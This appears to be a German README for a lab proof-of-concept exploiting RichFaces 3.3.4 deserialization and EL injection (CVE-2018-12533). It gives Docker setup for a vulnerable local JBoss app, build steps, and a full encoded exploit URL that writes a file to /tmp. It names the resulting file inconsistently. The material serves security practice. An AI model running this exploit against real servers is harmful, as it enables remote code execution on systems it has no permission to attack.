RF-14310 / CVE-2018-12533 Payload-Generator

Alle Credits gehen an https://github.com/Lucifaer

Referenzen

https://access.redhat.com/security/cve/cve-2018-12533

richfaces-jboss-poc

Ein einfach bereitzustellender Proof of Concept, um die Deserialisierung und EL-Injection-Ausnutzung von Richfaces 3.3.4 zu üben, ohne sich allzu sehr um alte Java-Versionen usw. kümmern zu müssen.

JBoss-Docker bereitstellen

Um Ihnen Ärger bei der Einrichtung einer verwundbaren Anwendung zu ersparen, habe ich ein Dockerfile basierend auf den Anweisungen im seclist-Artikel erstellt, der CVE-2018-14667 erklärt. Führen Sie einfach die folgenden Befehle im Stammverzeichnis des Repositorys aus:

docker build -t richfaces-jboss .
docker run -p 8081:8080 richfaces-jboss

Wenn alles funktioniert, können Sie über http://127.0.0.1:8081/photoalbum auf die Richfaces-Photoalbum-Testanwendung zugreifen.

Kompilieren Sie den PoC aus dem Stammverzeichnis des Repositorys in ein Fat-Jar (einfach mit Docker und funktionierendem POM)

cd CVE-2018-12533
docker run -v ~/.m2:/root/.m2 -v $(pwd):/usr/src/app maven:3.5-jdk-8 mvn -f /usr/src/app/pom.xml clean package install

POC-URL generieren

java -jar target/cve_2018_12533.jar

Rufen Sie die URL auf dem JBoss-Server auf

Ersetzen Sie den /DATA/XXXXX-Abschnitt durch Ihr Payload, wenn Sie etwas anderes tun möchten, als eine Datei in /tmp zu erstellen. Dieses Payload erstellt /tmp/hacked.txt http://127.0.0.1:8081/photoalbum/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/eAHNUk1r1UAUnfegVq2L-oEiItQo-goyKSJu6gOxFX2QWukTwbp4zEtuk2knM-nkpo0W3Qmi4satIOJKUBD9Be6k4KY!QQRxIYggLvVOUlssuDebXGbOnHPuufflVzaQW3bG2JhbGSZzIoScW9AR2AWJPMFU8StCajw1OQO5KWwIxzqpiGFSoGi!X!s4!OvF6yYb7LDtvX48YZSxHTbYmzM2FeiqBGScULWttywjTGbZjlCECYi-goAN9CKiQbYnmBdLwldCx!50fx5CHA!oReaEF9kd1igzVn9N-pWMNU6yjHwfd89KXrsOTZoZDRp5lzjhklHURFcsgb2--rb9-MmHqSZrBqSvRJ5fFin8rdtFK3VMujtzehNVHMj2186k8btgpVDylnM-XmZO!gRJ8rzQlQEFmHNQPIBYhDenABMTnZc6ItJ1740mawSskSI7VLGWPii!Bl4oMwt5Lo0m6n8xXxXxVvQf5l2UimUH6zjIxFbcG3!1waefpx9RfITbu4Hb1H1-9373--zaWYdwDo64lZjvm7xqaitfJ81U!9uBH0Pvdk85bTekoeWH7N7RFQuLBeTIY8AJl3RrdKMMjKCR0IGior70nBXuBs9nCo0yBa!C14Itj1g2z6VeMgvQ0oVSoxxKCFsemiJMRnxMMz8R4QJEHEv0Rm8zVlCfN6qca!r1-b5au!b5y-GVi1WfFF8T2b7KgzR8usCsQAKCoCENb1qrdzLLyuVn7OnIubGTYyNtLyQYwoTRSDvX!l8a98rfWVxP3w__.jsf

Öffnen Sie eine Shell in einem separaten Terminal, um den Erfolg des Payloads zu analysieren

docker ps
docker exec -it <containerid> bash
ls /tmp

Wenn Sie den Exploit unverändert verwenden, erstellt er /tmp/cve_2018_12533, sodass Sie auf diese Weise bestätigen können, ob der Exploit funktioniert hat.

CVE-2018-12533

Beliebteste